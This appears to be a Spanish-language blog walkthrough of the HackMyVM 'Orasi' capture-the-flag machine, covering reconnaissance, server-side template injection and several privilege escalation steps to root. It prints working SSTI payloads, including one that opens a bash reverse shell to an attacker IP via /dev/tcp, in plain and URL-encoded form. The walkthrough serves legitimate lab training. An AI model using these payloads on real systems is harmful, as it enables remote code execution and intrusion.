HackMyVM Orasi — Linux


Para poder hacer uso de esta máquina primero debemos descargar el archivo y así poder desplegar el laboratorio.
Descargamos el archivo de la página https://hackmyvm.eu/machines/
Al momento de descargar esta máquina y descomprimir el archivo, en este caso observamos un archivo.
Para desplegar el laboratorio usaremos nuestro hipervisor favorito e iniciamos la máquina. En caso de no observar la IP de la máquina podemos emplear arp-scan
para ver la dirección IP en nuestra red que sería la 192.168.0.160
.
Realizamos un ping a la dirección IP y podemos validar que tenemos alcance.
Empezamos con un escaneo de puertos y podemos ver que tenemos 4 puertos.
Empezamos realizando un escaneo más profundo de los puertos identificado y podemos observar que podemos acceder al servicio FTP
con el usuario anonymous
. Y para el puerto 80
y 5000
están corriendo servicio web.
Ingresamos al servicio FTP
y descargamos el archivo.
Revisando el archivo podemos observar que se trata de un binario en C
.
Ejecutaremos a modo de prueba para ver que nos brinda y podemos observar que tenemos lo siguiente.
Revisando el binario con IDA
podemos ver que tenemos un texto oculto.
/sh4d0w$s
Ingresando el nombre de lo que parece un directorio en las direcciones URL, observamos que en el puerto 5000
tenemos una respuesta interesante, lo que parece ser que le falta un parámetro.
Realizamos un fuzzing de parámetros y podemos ver que no identifica nada.
Verificando el comando podemos ver que en el target
la dirección URL no es la misma, ya que esta le quita el símbolo $
. Para este problema solo lo colocamos entre comillas simples, pero tampoco obtenemos otro resultado, pero ahora si nos toma la dirección como válida.
Regresando sobre nuestros pasos, vemos que en la página principal del puerto 80
hay una estructura curiosa, y viendo bien, esta recuerda al formato de generar diccionarios con crunch
que vimos en otras máquinas.
Así que generamos un diccionario que usaremos para ver si alguno es válido.
Volvemos a ejecutar el comando con el nuevo diccionario y luego de unos segundos podemos ver que ahora sí nos identifica el parámetro.
Ingresamos el parámetro en el navegador y vemos que solo nos refleja el texto.
Recordemos que el servicio web está levantado con uno en Python lo cual podemos comprobarlo con los resultados del escaneo de puertos o en los headers
al inspeccionar la página.
Con esto en mente, probaremos con un formato de SSTI común, como es el {{7*7}}
. Al enviarlo podemos ver que nos muestra el resultado de la operación.
Con conocimiento de ello probaremos algunos payloads de SSTI para ver si es posible acceder de esta manera. Obtendremos diversos payloads de la página PayloadsAllTheThings. Enviaremos un payload para ver el ID de usuario y es correcto.
{{cycler.__init__.__globals__.os.popen("id").read()}}
El resultado que tenemos es el esperado y observamos la repuesta.
Trataremos de establecer una shell usando este método, pero primero debemos iniciar nuestro listener.
Ahora usaremos el siguiente comando que también se puede observar en la página antes mencionada solo que agregamos nuestra shell como se puede observar.
{{ self.__init__.__globals__.__builtins__.__import__('os').popen('bash -c "bash -i >& /dev/tcp/192.168.0.109/1234 0>&1"').read() }}
en caso de que de algún problema, pueden intentarlo codificando el URL.
{{ self.__init__.__globals__.__builtins__.__import__('os').popen('bash -c "bash -i >%26 /dev/tcp/192.168.0.109/1234 0>%261"').read() }}
Si al enviar la página se queda cargando, es buena señal y al ir a nuestro listener podemos observar que ya tenemos acceso.
Para facilitar las cosas en este punto migraremos la shell porque en este caso nos ocurre que no podemos hacer uso de las flechas o subir y bajar al comando anterior. Para ello primero hacemos
script /dev/null -c bash
luego un ctrl+z, regresaremos a nuestra consola seguido de ello ingresaremos los siguientes comandos para recuperar la shell usamos stty
stty raw -echo; fg
reset xterm
para obtener más características usamos
export TERM=xterm
para la variable de entorno
echo $SHELL
y para pasar a bash usamos
export SHELL=/bin/bash
para establecer el tamaño adecuado de la consola ingresamos
stty rows 59 cols 236
de esta manera ya nos podemos mover con más libertad en la consola. Ya que ingresamos como www-data
debemos escalar privilegios y realizando un sudo -l
podemos observar que tenemos la posibilidad de escalar como kori
haciendo uso de un archivo php
que está en su carpeta pero con cualquier comando o parámetro luego del archivo.
Revisando el archivo vemos que no podemos modificarlo pero sí ejecutarlo.
Al leer ese archivo podemos observar que restringe algunos comandos, pero no es muy estricta.
Como sabemos que tenemos Python corriendo revisamos que versión es.
Probamos ejecutarlo y vemos que sí podemos abrir un entorno con Python.
Por ello iniciamos un nuevo listener.
Vamos la página de revshellls y buscamos Python.
Ejecutamos el código y si podemos observar que se queda cargando es buena señal.
Vamos a nuestro listener y ya tenemos conexión.
Volvemos a repetir los pasos de migrar shell y podemos ver que estamos como kori
.
Ahora para escalar volvemos a realizar un sudo -l
y vemos que tenemos un .apk
que al ejecutarlo se copia en la carpeta de kori
.
Tratamos de copiar el archivo, pero como no existe el archivo en el usuario korida
, no se puede copiar.
Por ello creamos un archivo con permisos para poder reemplazarlo.
Ahora sí podemos copiarlo.
Para revisar este archivo comenzaremos un servidor con Python para descargarlo.
Descargamos en nuestra máquina.
Para poder analizarlo, lo pasaremos a .jar
.
Ya que está como .jar
lo abrimos con jd-gui
.
Revisando el archivo tenemos unas posibles credenciales.
eye
tiger
()
of
the
.
.
.
Probando las variantes como credenciales de irida
, vemos que la siguiente estructura es la correcta.
eye.of.the.tiger()
Realizando un sudo -l
vemos que podemos escalar como root
ejecutando un archivo que está en la carpeta de root
.
Ejecutando algunos de los archivos podemos ver que al ingresar un texto aleatorio observamos un error
bytes.fromhex(name).decode('utf-8')
Ingresamos un texto en formato HEX
y podemos ver que nos da un error print(exec(name))
, pero con el texto claro adicional, lo cual podemos interpretar que ejecuta el código.
Suponiendo que ejecuta el código Python, nos aprovecharemos de ello para que nos genere una shell.
Ya que está en Python, iniciaremos nuestro listener.
Volveremos a usar la webshell que obtuvimos en la página de revshell, solo debemos cambiarle el puerto.
Vamos a la página de Cyberchef y pegamos la estructura de la revshell.
Volvemos a ejecutar el comando y podemos ver que se queda cargando.
Regresando a nuestro listener y podemos ver que como root
. De esta manera culminamos esta máquina.
Subscribe to my newsletter
Read articles from Gm4tsy directly inside your inbox. Subscribe to the newsletter, and don't miss out.
Written by
